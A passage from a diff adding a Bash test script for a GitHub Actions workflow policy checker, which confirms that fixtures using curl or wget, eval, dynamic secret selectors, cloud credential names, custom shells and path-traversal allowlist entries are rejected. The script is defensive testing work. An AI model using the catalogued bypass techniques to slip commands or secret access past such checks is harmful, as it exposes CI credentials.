intentionally literal expected diagnostic. +# shellcheck disable=SC2016 +for expected in \ + "workflow scripts/fixtures/public-workflow-policy/reject-permissions.yml uses forbidden permissions: write-all" \ + "job job-write-all uses forbidden permissions: write-all" \ + 'job dynamic-permissions uses forbidden dynamic permissions selector ${{ vars.PERMISSIONS }}' \ + "job malformed-permissions uses unsupported permissions shape"; do + if ! grep -Fq -- "${expected}" <<<"${permissions_output}"; then + echo "missing expected permissions diagnostic: ${expected}" >&2 + printf '%s\n' "${permissions_output}" >&2 + exit 1 + fi +done + +set +e +implicit_permissions_output="$(TMPDIR="${tmp_dir}" "${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-implicit-permissions.yml" 2>&1)" +implicit_permissions_status=$? +set -e +if [[ "${implicit_permissions_status}" -eq 0 ]] || + ! grep -Fq -- "job implicit-defaults does not declare permissions and workflow has no explicit permissions to inherit" <<<"${implicit_permissions_output}"; then + echo "implicit repository-default job permissions passed policy" >&2 + printf '%s\n' "${implicit_permissions_output}" >&2 + exit 1 +fi + +set +e +dynamic_secrets_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-dynamic-secrets.yml" 2>&1)" +dynamic_secrets_status=$? +set -e + +if [[ "${dynamic_secrets_status}" -eq 0 ]]; then + echo "expected dynamic credential selectors to fail policy" >&2 + exit 1 +fi +for expected in \ + "dynamic secret selector secrets[vars.NAME]" \ + "dynamic secret selector secrets[format('{0}_TOKEN', vars.PROVIDER)]" \ + "dynamic secret selector secrets[vars.DIGITALOCEAN_TOKEN]" \ + "dynamic secret selector secrets.*" \ + "whole secrets context" \ + "known cloud credential variable reference DIGITALOCEAN_TOKEN"; do + if ! grep -Fq -- "${expected}" <<<"${dynamic_secrets_output}"; then + echo "missing expected dynamic credential diagnostic: ${expected}" >&2 + printf '%s\n' "${dynamic_secrets_output}" >&2 + exit 1 + fi +done + +set +e +env_indirection_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-env-indirection.yml" 2>&1)" +env_indirection_status=$? +set -e + +if [[ "${env_indirection_status}" -eq 0 ]]; then + echo "expected provider environment and dynamic command indirection to fail policy" >&2 + exit 1 +fi +for expected in \ + "environment value contains provider CLI doctl" \ + "environment value contains provider API api.digitalocean.com" \ + "environment value contains provider SDK marker" \ + "dynamic command execution" \ + "executes categorically forbidden command eval"; do + if ! grep -Fq -- "${expected}" <<<"${env_indirection_output}"; then + echo "missing expected environment indirection diagnostic: ${expected}" >&2 + printf '%s\n' "${env_indirection_output}" >&2 + exit 1 + fi +done + +eval_exact_presence="${tmp_dir}/eval-exact-presence.json" +eval_exact_commands="${tmp_dir}/eval-exact-commands.json" +eval_exact_root="${tmp_dir}/eval-exact-root" +mkdir -p "${eval_exact_root}/.github/workflows" +cp "${fixtures}/reject-env-indirection.yml" "${eval_exact_root}/.github/workflows/eval.yml" +cat >"${eval_exact_presence}" <<'JSON' +[ + { + "path": ".github/workflows/eval.yml", + "contextSHA256": "01d7192e6358dc28b4a69606b4034e5e9beaa0cf74b1a5587d87eba4b92c4946", + "state": "active", "presence": "present" + } +] +JSON +cat >"${eval_exact_commands}" <<'JSON' +[ + { + "path": ".github/workflows/eval.yml", + "command": "eval", + "statementSHA256": "386106e2283c16c542972bf7332921a2bf316fd46e3bba0cb0f8638bb68117cf", + "contextSHA256": "01d7192e6358dc28b4a69606b4034e5e9beaa0cf74b1a5587d87eba4b92c4946", + "state": "active", "rationale": "Mutation: exact eval row must remain categorically unusable." + } +] +JSON +set +e +eval_exact_output="$("${checker_binary}" \ + --scan-root "${eval_exact_root}" \ + --presence-allowlist "${eval_exact_presence}" \ + --allowlist "${empty_allowlist}" \ + --executable-allowlist "${empty_allowlist}" \ + --command-allowlist "${eval_exact_commands}" \ + --action-allowlist "${empty_allowlist}" 2>&1)" +eval_exact_status=$? +set -e +if [[ "${eval_exact_status}" -eq 0 ]] || + ! grep -Fq -- "executes categorically forbidden command eval" <<<"${eval_exact_output}" || + ! grep -Fq -- "provider-capable command eval is categorically unallowlistable" <<<"${eval_exact_output}"; then + echo "exact command authority authorized eval dynamic execution" >&2 + printf '%s\n' "${eval_exact_output}" >&2 + exit 1 +fi + +builtin_exact_presence="${tmp_dir}/builtin-exact-presence.json" +builtin_exact_commands="${tmp_dir}/builtin-exact-commands.json" +builtin_exact_root="${tmp_dir}/builtin-exact-root" +mkdir -p "${builtin_exact_root}/.github/workflows" +cp "${fixtures}/reject-builtin-wrapper.yml" "${builtin_exact_root}/.github/workflows/builtin.yml" +cat >"${builtin_exact_presence}" <<'JSON' +[ + { + "path": ".github/workflows/builtin.yml", + "contextSHA256": "8a698faf1dcaeb62936d8a6ec2e0f8e035c145b2a3b57715fed9d7830179f330", + "state": "active", "presence": "present" + } +] +JSON +cat >"${builtin_exact_commands}" <<'JSON' +[ + { + "path": ".github/workflows/builtin.yml", + "command": "builtin", + "statementSHA256": "678180a888bd9f84f7702545a4b1c886e6cb80b87320674314acf3b6dfa45cfa", + "contextSHA256": "8a698faf1dcaeb62936d8a6ec2e0f8e035c145b2a3b57715fed9d7830179f330", + "state": "active", "rationale": "Mutation: exact builtin eval row must remain categorically unusable." + }, + { + "path": ".github/workflows/builtin.yml", + "command": "builtin", + "statementSHA256": "c8b6ac1ebcc696243f7aa9ff405a3c7969f37d6a2657bca692646f68a3f06dcd", + "contextSHA256": "8a698faf1dcaeb62936d8a6ec2e0f8e035c145b2a3b57715fed9d7830179f330", + "state": "active", "rationale": "Mutation: nested command builtin eval row must remain categorically unusable." + } +] +JSON +set +e +builtin_exact_output="$("${checker_binary}" \ + --scan-root "${builtin_exact_root}" \ + --presence-allowlist "${builtin_exact_presence}" \ + --allowlist "${empty_allowlist}" \ + --executable-allowlist "${empty_allowlist}" \ + --command-allowlist "${builtin_exact_commands}" \ + --action-allowlist "${empty_allowlist}" 2>&1)" +builtin_exact_status=$? +set -e +if [[ "${builtin_exact_status}" -eq 0 ]] || + ! grep -Fq -- "executes categorically forbidden command builtin" <<<"${builtin_exact_output}" || + ! grep -Fq -- "provider-capable command builtin is categorically unallowlistable" <<<"${builtin_exact_output}"; then + echo "exact command authority authorized builtin execution wrapper" >&2 + printf '%s\n' "${builtin_exact_output}" >&2 + exit 1 +fi + +set +e +script_execution_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-script-execution.yml" 2>&1)" +script_execution_status=$? +set -e + +if [[ "${script_execution_status}" -eq 0 ]]; then + echo "expected unreviewed committed script execution to fail policy" >&2 + exit 1 +fi +for expected in \ + "unallowlisted executable script ./scripts/unreviewed.sh" \ + "workflow executable path ../escape.sh is outside repository"; do + if ! grep -Fq -- "${expected}" <<<"${script_execution_output}"; then + echo "missing expected executable script diagnostic: ${expected}" >&2 + printf '%s\n' "${script_execution_output}" >&2 + exit 1 + fi +done + +uses_allowlist="${tmp_dir}/uses-allowlist.json" +cat >"${uses_allowlist}" <<'JSON' +[ + { + "path": "scripts/fixtures/public-workflow-policy/reject-provider-uses.yml", + "secret": "DEPLOY_AUTH", + "state": "active", "rationale": "An opaque alias must not hide authority granted to a provider action." + } +] +JSON +set +e +uses_output="$("${checker}" \ + --allowlist "${uses_allowlist}" \ + "${fixtures}/reject-provider-uses.yml" 2>&1)" +uses_status=$? +set -e + +if [[ "${uses_status}" -eq 0 ]]; then + echo "expected provider action and reusable workflow references to fail policy" >&2 + exit 1 +fi +for expected in \ + "uses unreviewed exact action digitalocean/action-doctl@v2" \ + "job provider-reusable-workflow uses forbidden reusable workflow job" \ + "uses unreviewed exact reusable workflow digitalocean/platform/.github/workflows/live-deploy.yml@main" \ + "public workflow references forbidden repository secret DEPLOY_AUTH" \ + "provider authority with secret DEPLOY_AUTH"; do + if ! grep -Fq -- "${expected}" <<<"${uses_output}"; then + echo "missing expected provider uses diagnostic: ${expected}" >&2 + printf '%s\n' "${uses_output}" >&2 + exit 1 + fi +done + +set +e +unreviewed_uses_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-unreviewed-uses.yml" 2>&1)" +unreviewed_uses_status=$? +set -e + +if [[ "${unreviewed_uses_status}" -eq 0 ]]; then + echo "expected unreviewed action references to fail policy" >&2 + exit 1 +fi +for expected in \ + "uses unreviewed exact action octocat/unknown-action@v1" \ + "uses unreviewed exact action ./.github/actions/not-reviewed" \ + "uses unreviewed exact action docker://alpine:3.20" \ + "uses unreviewed exact action digitalocean/experimental-deploy@v1" \ + 'uses forbidden dynamic action ${{ vars.ACTION_REF }}' \ + "uses unreviewed exact action actions/checkout@v5" \ + "uses unreviewed exact action actions/setup-go@main" \ + "uses unreviewed exact action actions/upload-artifact@0123456789012345678901234567890123456789" \ + "job unknown-reusable-workflow uses forbidden reusable workflow job" \ + "uses unreviewed exact reusable workflow acme/platform/.github/workflows/deploy.yml@main"; do + if ! grep -Fq -- "${expected}" <<<"${unreviewed_uses_output}"; then + echo "missing expected unreviewed uses diagnostic: ${expected}" >&2 + printf '%s\n' "${unreviewed_uses_output}" >&2 + exit 1 + fi +done + +set +e +guard_suffix_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-guard-suffix.yml" 2>&1)" +guard_suffix_status=$? +set -e + +if [[ "${guard_suffix_status}" -eq 0 ]]; then + echo "expected executable suffix after negative guard to fail policy" >&2 + exit 1 +fi +if ! grep -Fq -- "executable provider CLI doctl" <<<"${guard_suffix_output}"; then + echo "missing provider CLI diagnostic after negative guard suffix" >&2 + printf '%s\n' "${guard_suffix_output}" >&2 + exit 1 +fi +if ! grep -Fq -- "job command-substitution executes forbidden provider authority: executable provider CLI doctl" <<<"${guard_suffix_output}"; then + echo "command substitution inside a negative guard bypassed provider CLI detection" >&2 + printf '%s\n' "${guard_suffix_output}" >&2 + exit 1 +fi + +set +e +command_analysis_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-command-analysis.yml" 2>&1)" +command_analysis_status=$? +set -e + +if [[ "${command_analysis_status}" -eq 0 ]]; then + echo "expected shell command analysis bypasses to fail policy" >&2 + exit 1 +fi +for job in \ + assignment-prefix \ + command-wrapper \ + exec-wrapper \ + env-wrapper \ + subshell \ + group \ + command-substitution; do + if ! grep -Fq -- "job ${job} invokes unallowlisted executable script ./scripts/live.sh" <<<"${command_analysis_output}"; then + echo "missing AST command diagnostic for ${job}" >&2 + printf '%s\n' "${command_analysis_output}" >&2 + exit 1 + fi +done +for job in dynamic-path wrapped-dynamic-command sudo-wrapper; do + if ! grep -Fq -- "job ${job} uses forbidden dynamic command execution" <<<"${command_analysis_output}"; then + echo "missing dynamic command diagnostic for ${job}" >&2 + printf '%s\n' "${command_analysis_output}" >&2 + exit 1 + fi +done + +set +e +shell_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-shell.yml" 2>&1)" +shell_status=$? +set -e + +if [[ "${shell_status}" -eq 0 ]]; then + echo "expected custom shells and shell parse failures to fail policy" >&2 + exit 1 +fi +# The GitHub expression below is an intentionally literal expected diagnostic. +# shellcheck disable=SC2016 +for expected in \ + "job custom-shell uses forbidden custom shell python" \ + 'job dynamic-shell uses forbidden dynamic shell ${{ vars.SHELL }}' \ + "job invalid-shell-program shell parse failed"; do + if ! grep -Fq -- "${expected}" <<<"${shell_output}"; then + echo "missing shell policy diagnostic: ${expected}" >&2 + printf '%s\n' "${shell_output}" >&2 + exit 1 + fi +done + +set +e +deny_execution_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-deny-pattern-execution.yml" 2>&1)" +deny_execution_status=$? +set -e + +if [[ "${deny_execution_status}" -eq 0 ]] || ! grep -Fq -- \ + "job execute-deny-value uses provider deny pattern outside a pure rejection guard" \ + <<<"${deny_execution_output}"; then + echo "provider deny pattern escaped its parser-proven guard" >&2 + printf '%s\n' "${deny_execution_output}" >&2 + exit 1 +fi + +set +e +shell_inheritance_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-shell-inheritance.yml" 2>&1)" +shell_inheritance_status=$? +missing_shell_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-missing-shell.yml" 2>&1)" +missing_shell_status=$? +unsafe_commands="${tmp_dir}/unsafe-commands.json" +cat >"${unsafe_commands}" <<'JSON' +[ + { + "path": "scripts/fixtures/public-workflow-policy/reject-unsafe-programs.yml", + "command": "go", + "statementSHA256": "0000000000000000000000000000000000000000000000000000000000000000", + "contextSHA256": "0000000000000000000000000000000000000000000000000000000000000000", + "state": "active", "rationale": "Mutation: prove an allowlisted command with the wrong subcommand remains rejected." + } +] +JSON +unsafe_program_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + --command-allowlist "${unsafe_commands}" \ + "${fixtures}/reject-unsafe-programs.yml" 2>&1)" +unsafe_program_status=$? +set -e + +if [[ "${shell_inheritance_status}" -eq 0 || "${missing_shell_status}" -eq 0 ]]; then + echo "expected inherited, overridden, and missing shells to fail policy" >&2 + exit 1 +fi +# The GitHub expression below is an intentionally literal expected diagnostic. +# shellcheck disable=SC2016 +for expected in \ + 'workflow scripts/fixtures/public-workflow-policy/reject-shell-inheritance.yml uses forbidden dynamic shell ${{ vars.DEFAULT_SHELL }}' \ + "job job-python uses forbidden custom shell python" \ + "job job-pwsh uses forbidden custom shell pwsh" \ + "job job-pwsh executes unreviewed exact statement containing invoke-restmethod" \ + "job job-custom uses forbidden custom shell fish" \ + "job step-override uses forbidden custom shell powershell"; do + if ! grep -Fq -- "${expected}" <<<"${shell_inheritance_output}"; then + echo "missing effective shell diagnostic: ${expected}" >&2 + printf '%s\n' "${shell_inheritance_output}" >&2 + exit 1 + fi +done +if ! grep -Fq -- "job implicit-platform-default does not declare an explicit Bash shell" <<<"${missing_shell_output}"; then + echo "missing implicit platform shell diagnostic" >&2 + printf '%s\n' "${missing_shell_output}" >&2 + exit 1 +fi + +if [[ "${unsafe_program_status}" -eq 0 ]]; then + echo "expected provider-capable and dynamic programs to fail policy" >&2 + exit 1 +fi +for expected in \ + "job curl-endpoint executes categorically forbidden command curl" \ + "job wget-endpoint executes categorically forbidden command wget" \ + "job http-client executes categorically forbidden command http" \ + "job python-code executes categorically forbidden command python" \ + "job node-code executes categorically forbidden command node" \ + "job dynamic-interpreter-script executes categorically forbidden command python" \ + "job powershell-endpoint executes categorically forbidden command pwsh" \ + "job go-run executes categorically forbidden command go with argv [\"run\"" \ + "job npx-exec executes categorically forbidden command npx" \ + "job npm-exec executes categorically forbidden command npm" \ + "job docker-run executes categorically forbidden command docker" \ + "job docker-login executes categorically forbidden command docker" \ + "job docker-push executes categorically forbidden command docker" \ + "job terraform-plan executes categorically forbidden command terraform" \ + "job tofu-plan executes categorically forbidden command tofu" \ + "job pulumi-preview executes categorically forbidden command pulumi" \ + "job kubectl-get executes categorically forbidden command kubectl" \ + "job helm-list executes categorically forbidden command helm" \ + "job ansible-playbook executes categorically forbidden command ansible" \ + "job rclone-list executes categorically forbidden command rclone" \ + "job s3cmd-list executes categorically forbidden command s3cmd" \ + "job mc-list executes categorically forbidden command mc" \ + "job unknown-executable executes unreviewed exact statement containing mystery-tool" \ + "job sudo-wrapper uses forbidden dynamic command execution"; do + if ! grep -Fq -- "${expected}" <<<"${unsafe_program_output}"; then + echo "missing unsafe program diagnostic: ${expected}" >&2 + printf '%s\n' "${unsafe_program_output}" >&2 + exit 1 + fi +done + +invalid_commands="${tmp_dir}/invalid-commands.json" +cat >"${invalid_commands}" <<'JSON' +[ + { + "path": "/tmp/absolute.yml", + "command": "go", + "statementSHA256": "1111111111111111111111111111111111111111111111111111111111111111", + "contextSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "state": "active", "rationale": "Absolute paths must not grant command authority." + }, + { + "path": "../traversal.yml", + "command": "go", + "statementSHA256": "2222222222222222222222222222222222222222222222222222222222222222", + "contextSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "state": "active", "rationale": "Traversal must not grant command authority." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml", + "command": "terraform", + "statementSHA256": "3333333333333333333333333333333333333333333333333333333333333333", + "contextSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "state": "active", "rationale": "Known provider commands are forbidden even with a rationale." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml", + "command": "go", + "statementSHA256": "4444444444444444444444444444444444444444444444444444444444444444", + "contextSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "state": "active", "rationale": "Deliberately stale command capability mutation." + }, + { + "path": ".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml", + "command": "go", + "statementSHA256": "4444444444444444444444444444444444444444444444444444444444444444", + "contextSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "state": "active", "rationale": "Deliberate duplicate command capability mutation." + } +] +JSON +set +e +invalid_commands_output="$("${checker}" \ + --scan-root "${pass_scan_root}" \ + --allowlist "${empty_allowlist}" \ + --command-allowlist "${invalid_commands}" \ + "${pass_negative_guard_workflow}" 2>&1)" +invalid_commands_status=$? +set -e +if [[ "${invalid_commands_status}" -eq 0 ]]; then + echo "expected invalid command allowlist entries to fail policy" >&2 + exit 1 +fi +if grep -Fq -- \ + "invalid command allowlist entry for .github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml" \ + <<<"${invalid_commands_output}"; then + echo "semantic invalid-command probes did not reach command classification" >&2 + printf '%s\n' "${invalid_commands_output}" >&2 + exit 1 +fi +for expected in \ + "command allowlist path /tmp/absolute.yml must be repository-relative" \ + "command allowlist path ../traversal.yml escapes the repository" \ + "provider-capable command terraform is categorically unallowlistable" \ + "duplicate command allowlist entry go sha256:4444444444444444444444444444444444444444444444444444444444444444" \ + "no trust group matches workflow"; do + if ! grep -Fq -- "${expected}" <<<"${invalid_commands_output}"; then + echo "missing invalid command allowlist diagnostic: ${expected}" >&2 + printf '%s\n' "${invalid_commands_output}" >&2 + exit 1 + fi +done + +invalid_actions="${tmp_dir}/invalid-actions.json" +cat >"${invalid_actions}" <<'JSON' +[ + {"path":"/tmp/absolute.yml","uses":"actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5","nodeSHA256":"1111111111111111111111111111111111111111111111111111111111111111","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Absolute paths must not grant action authority."}, + {"path":"../traversal.yml","uses":"actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5","nodeSHA256":"2222222222222222222222222222222222222222222222222222222222222222","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Traversal must not grant action authority."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"digitalocean/action-doctl@0123456789012345678901234567890123456789","nodeSHA256":"3333333333333333333333333333333333333333333333333333333333333333","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Provider actions remain categorically forbidden."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"${{ vars.ACTION_REF }}","nodeSHA256":"4444444444444444444444444444444444444444444444444444444444444444","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Dynamic action references remain forbidden."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"actions/checkout@v4","nodeSHA256":"6666666666666666666666666666666666666666666666666666666666666666","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Mutable action tags remain forbidden in trust policy."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"actions/checkout@main","nodeSHA256":"7777777777777777777777777777777777777777777777777777777777777777","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Mutable action branches remain forbidden in trust policy."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5","nodeSHA256":"5555555555555555555555555555555555555555555555555555555555555555","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Deliberately stale exact action mutation."}, + {"path":".github/workflows/fixtures/public-workflow-policy/pass-negative-guard.yml","uses":"actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5","nodeSHA256":"5555555555555555555555555555555555555555555555555555555555555555","contextSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","state": "active", "rationale":"Deliberate duplicate exact action mutation."} +] +JSON +set +e +invalid_actions_output="$("${checker}" \ + --scan-root "${pass_scan_root}" \ + --allowlist "${empty_allowlist}" \ + --action-allowlist "${invalid_actions}" \ + "${pass_negative_guard_workflow}" 2>&1)" +invalid_actions_status=$? +set -e +if [[ "${invalid_actions_status}" -eq 0 ]]; then + echo "expected invalid action allowlist entries to fail policy" >&2 + exit 1 +fi +if [[ "$(grep -Fc -- "invalid action allowlist entry" <<<"${invalid_actions_output}")" -lt 3 ]]; then + echo "dynamic, tag, and branch action allowlist entries were not all rejected" >&2 + printf '%s\n' "${invalid_actions_output}" >&2 + exit 1 +fi +for expected in \ + "action allowlist path /tmp/absolute.yml must be repository-relative" \ + "action allowlist path ../traversal.yml escapes the repository" \ + "provider action digitalocean/action-doctl@0123456789012345678901234567890123456789 is categorically unallowlistable" \ + "invalid action allowlist entry" \ + "duplicate action allowlist entry actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5" \ + "no trust group matches workflow"; do + if ! grep -Fq -- "${expected}" <<<"${invalid_actions_output}"; then + echo "missing invalid action allowlist diagnostic: ${expected}" >&2 + printf '%s\n' "${invalid_actions_output}" >&2 + exit 1 + fi +done + +invalid_paths_allowlist="${tmp_dir}/invalid-paths-allowlist.json" +cat >"${invalid_paths_allowlist}" <<'JSON' +[ + { + "path": "/tmp/absolute-workflow.yml", + "secret": "PACKAGE_TOKEN", + "state": "active", "rationale": "Absolute paths must never be accepted as workflow policy exceptions." + }, + { + "path": "../traversal-workflow.yml", + "secret": "RELEASES_TOKEN", + "state": "active", "rationale": "Parent traversal must never escape exact repository-relative matching." + } +] +JSON +set +e +invalid_allowlist_output="$("${checker}" \ + --allowlist "${invalid_paths_allowlist}" \ + "${fixtures}/pass-negative-guard.yml" 2>&1)" +invalid_allowlist_status=$? +set -e + +if [[ "${invalid_allowlist_status}" -eq 0 ]]; then + echo "expected unconfined allowlist paths to fail policy" >&2 + exit 1 +fi +for expected in \ + "allowlist path /tmp/absolute-workflow.yml must be repository-relative" \ + "allowlist path ../traversal-workflow.yml escapes the repository"; do + if ! grep -Fq -- "${expected}" <<<"${invalid_allowlist_output}"; then + echo "missing expected allowlist confinement diagnostic: ${expected}" >&2 + printf '%s\n' "${invalid_allowlist_output}" >&2 + exit 1 + fi +done + +escape_scan_root="${tmp_dir}/symlink-root" +mkdir -p "${escape_scan_root}" +escape_workflow="${escape_scan_root}/symlink-escape.yml" +ln -s /dev/null "${escape_workflow}" +set +e +outside_output="$("${checker}" \ + --scan-root "${escape_scan_root}" \ + --allowlist "${empty_allowlist}" \ + /dev/null \ + "${escape_workflow}" 2>&1)" +outside_status=$? +set -e + +if [[ "${outside_status}" -eq 0 ]]; then + echo "expected outside and symlink-escaping workflow paths to fail policy" >&2 + exit 1 +fi +for expected in \ + "workflow path /dev/null is outside repository" \ + "resolves outside repository"; do + if ! grep -Fq -- "${expected}" <<<"${outside_output}"; then + echo "missing expected workflow confinement diagnostic: ${expected}" >&2 + printf '%s\n' "${outside_output}" >&2 + exit 1 + fi +done + +secret_syntax_allowlist="${tmp_dir}/secret-syntax-allowlist.json" +cat >"${secret_syntax_allowlist}" <<'JSON' +[ + { + "path": "scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml", + "secret": "DEPLOY_AUTH", + "state": "active", "rationale": "A global opaque alias must remain visible to provider-authority analysis." + }, + { + "path": "scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml", + "secret": "DIGITALOCEAN_TOKEN", + "state": "active", "rationale": "Known provider credentials remain forbidden regardless of syntax or rationale." + } +] +JSON +set +e +secret_syntax_output="$("${checker}" \ + --allowlist "${secret_syntax_allowlist}" \ + "${fixtures}/reject-secret-syntax.yml" 2>&1)" +secret_syntax_status=$? +set -e + +if [[ "${secret_syntax_status}" -eq 0 ]]; then + echo "expected bracket and global secret references to fail policy" >&2 + exit 1 +fi +for expected in \ + "workflow scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml references known cloud secret DIGITALOCEAN_TOKEN" \ + "public workflow references forbidden repository secret DEPLOY_AUTH" \ + "provider authority with secret DEPLOY_AUTH" \ + "public workflow references forbidden repository secret UNREVIEWED_TOKEN"; do + if ! grep -Fq -- "${expected}" <<<"${secret_syntax_output}"; then + echo "missing expected secret syntax diagnostic: ${expected}" >&2 + printf '%s\n' "${secret_syntax_output}" >&2 + exit 1 + fi +done +if grep -Fq -- "stale allowlist entry" <<<"${secret_syntax_output}"; then + echo "bracket secret references were not matched to their exact allowlist entries" >&2 + printf '%s\n' "${secret_syntax_output}" >&2 + exit 1 +fi + +set +e +legacy_github_token_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-legacy-github-token.yml" 2>&1)" +legacy_github_token_status=$? +set -e +if [[ "${legacy_github_token_status}" -eq 0 ]] || ! grep -Fq -- \ + "public workflow references forbidden repository secret GITHUB_TOKEN" \ + <<<"${legacy_github_token_output}"; then + echo "legacy secrets.GITHUB_TOKEN selector bypassed public workflow policy" >&2 + printf '%s\n' "${legacy_github_token_output}" >&2 + exit 1 +fi + +set +e +runner_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-runners.yml" 2>&1)" +runner_status=$? +set -e + +if [[ "${runner_status}" -eq 0 ]]; then + echo "expected non-GitHub-hosted runner selectors to fail policy" >&2 + exit 1 +fi +# The GitHub expression below is an intentionally literal expected diagnostic. +# shellcheck disable=SC2016 +for expected in \ + "runner selector private-linux is not recognized as GitHub-hosted" \ + "runner selector linux is not recognized as GitHub-hosted" \ + 'forbidden dynamic runner selector ${{ vars.RUNNER_LABEL }}'; do + if ! grep -Fq -- "${expected}" <<<"${runner_output}"; then + echo "missing expected runner policy diagnostic: ${expected}" >&2 + printf '%s\n' "${runner_output}" >&2 + exit 1 + fi +done + +set +e +global_output="$("${checker}" \ + --allowlist "${empty_allowlist}" \ + "${fixtures}/reject-global.yml" 2>&1)" +global_status=$? +set -e + +if [[ "${global_status}" -eq 0 ]]; then + echo "expected global policy markers to fail even when job permissions override them" >&2 + exit 1 +fi +for expected in \ + "id-token: write" \ + "known cloud credential variable AWS_ACCESS_KEY_ID" \ + "known cloud secret SPACES_ACCESS_KEY_ID" \ + "known cloud secret SPACES_SECRET_ACCESS_KEY" \ + "known cloud secret DIGITALOCEAN_SPACES_ACCESS_KEY_ID" \ + "known cloud secret DIGITALOCEAN_SPACES_SECRET_ACCESS_KEY" \ + "known cloud secret DO_SPACES_ACCESS_KEY_ID" \ + "known cloud secret DO_SPACES_SECRET_ACCESS_KEY"; do + if ! grep -Fq -- "${expected}" <<<"${global_output}"; then + echo "missing expected global policy diagnostic: ${expected}" >&2 + printf '%s\n' "${global_output}" >&2 + exit 1 + fi +done + +echo "public workflow policy fixtures passed"